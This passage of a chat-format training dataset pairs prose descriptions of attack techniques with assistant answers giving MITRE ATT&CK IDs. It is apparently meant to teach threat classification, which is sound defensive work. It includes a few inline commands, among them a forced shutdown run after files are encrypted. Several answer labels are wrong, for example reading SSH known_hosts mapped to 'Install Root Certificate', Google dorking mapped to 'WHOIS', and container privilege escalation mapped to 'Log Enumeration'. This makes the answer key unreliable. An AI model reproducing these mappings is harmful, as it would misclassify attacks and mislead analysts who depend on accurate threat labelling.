                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage campaign gathers victim organization information by cataloguing job titles and departmental assignments of employees."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages WMI queries (Win32_Service) to map out services present on the system."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a malicious DLL as an authentication package in the Windows registry to gain persistence during system logon."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers enumerate Azure AD sign-in logs via Graph API to identify privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors repurpose a trusted code signing tool's proxy mechanism to download and execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised machine's USB port to copy database dumps onto a portable storage device."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs hidden cryptocurrency mining software on compromised Windows servers to consume CPU cycles for profit."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website hosts a drive‑by download that prompts the user to run an executable disguised as a PDF."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script calls Odbcconf to register a malicious provider, achieving T1218.008 system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a Python script to scrape browser credential stores and send them to C2."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised third‑party backup service to retrieve archived files from the victim's cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor uses PowerShell to invoke the Microsoft Graph API and transfers credential dumps to a malicious SharePoint site."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a man‑in‑the‑middle attack on a certificate enrollment protocol, obtaining a valid S/MIME certificate for email spoofing."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious systemd timer unit that runs a payload every hour, and enables it with systemctl to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the “net use” command to trigger storage of credentials in the Credential Manager then reads them back."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware alters the property list of a user’s application preferences to disable security settings."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool accesses the Mozilla Firefox 'logins.json' file to retrieve stored web passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes HTTP requests to the metadata server to pull down service account credentials for further actions."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performed a ping sweep across the 10.0.0.0/24 subnet to discover active hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs a cloud function to host command files; the malware checks the function's URL and reads the latest command, using it as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher targets executives with a crafted Excel spreadsheet that leverages CVE‑2021‑40444 to run a malicious macro."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses the Windows API function NetLocalGroupEnum to enumerate local permission groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows \"shutdown.exe\" utility with the /s /t 0 flags to force an immediate system shutdown after encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module uses \"Get-ItemProperty -Path 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders'\" to discover special folders and their contents."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a serverless job on a cloud provider's batch processing service to periodically download exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a user-mode rootkit to intercept system calls and conceal the presence of their malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to call the IBM Cloud IAM \"listGroups\" endpoint for cloud group discovery."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages a vulnerability in the embedded controller firmware to install a persistent malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a concealed '.tmp' directory under %APPDATA% and stores persistent binaries inside."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses automated tools to enumerate open source vulnerability databases like NVD for CVE entries relevant to the target's software stack."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fraudster contacts the target via telephone, impersonating IT support, and asks the user to install remote access software."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes 'curl ifconfig.me' on the compromised host to obtain its public IP address and confirm internet connectivity."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the .ssh/known_hosts file to collect SSH host keys and associated usernames."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script unmounts network shares on victim machines, clearing any indicators of the compromised SMB resources."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a persistent SOCKS5 proxy on an internal host, enabling remote users to access internal services as if they were on the local network."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor queries Shodan and Censys to find exposed servers and services associated with the target’s domain names."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through DLL search order hijacking, the malicious DLL is placed in a location that is searched prior to the legitimate library, resulting in execution of attacker-controlled code."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable XML parser to perform XSL script processing, achieving privilege escalation on the target system."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the Startup folder so it runs automatically when a user logs into Windows."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the application's DLL search path to load a malicious library from its own directory."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary disables the host-based intrusion detection system by stopping its service and removing its scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool employs the Ruby Zlib module to gzip stolen data prior to upload."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro opens a PowerShell process, then injects a base64-encoded script into its memory using WriteProcessMemory."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to delete log files and temporary artefacts from the compromised host to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages WMI to remotely create a scheduled task that runs a ransomware binary at midnight."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script runs on a compromised host to extract cached email credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers an infinite recursion in a critical service, consuming stack space and causing the endpoint to crash."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deployed malicious PowerShell scripts through Group Policy Software Installation to execute code across the domain."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits weaknesses in containerization platforms to escalate their privileges and access sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors craft COM objects and deliver them via DCOM to achieve remote code execution on domain-joined machines."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs odbcconf with crafted parameters to register a malicious ODBC driver, causing the system binary to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the domain controller for trust relationships to identify linked forests."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the attacker exported the private keys of stolen X.509 certificates for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a link to an HTML file that contains a data URL which, when rendered, extracts and runs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a previously captured SSH private key, the threat actor logs into the target server's shell, effectively hijacking an existing remote service session to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a new service entry in the Services registry hive that runs under LocalSystem."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool downloads a ROT13‑encoded configuration file and decodes it on the host system prior to use."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a stolen password list to attempt logins on a cloud-based collaboration platform."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a custom tool to disable Gatekeeper's enforcement, enabling the installation of tampered applications."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers confidential spreadsheets and stores them in a local staging directory before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script parses the TrustedHosts entries in the Windows Remote Management (WinRM) configuration to map trusted remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the intruder adds a custom systemd timer to execute a reverse shell on a daily schedule."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies the service registry permissions to inject their own executable path, hijacking the service startup."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT3 leveraged a custom TCP protocol to pipe sensitive data through an existing remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a vulnerable key export function to obtain low-entropy symmetric keys, weakening encryption for stored data."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the library loading sequence by placing a compromised DLL alongside a signed executable, resulting in the execution of the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate a botnet of compromised DNS resolvers to perform cache poisoning attacks, redirecting users to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify an existing service's binary path to point to their payload, enabling persistence on reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ process hollowing to replace the memory of a benign process with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses Google dorking to locate exposed configuration files on the victim’s public servers."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a keylogger to record keystrokes for credentials and personal data."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ptrace, the malware suspends a target process, writes shellcode into its address space, then resumes execution."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses LDAP queries to discover group memberships across the network."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor inspects the Windows Registry for the presence of virtualization technologies."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion team accessed the Windows Certificate Store on a high‑privilege host and exported the private key of a signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script accesses the registry key HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 to extract processor speed and core count."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
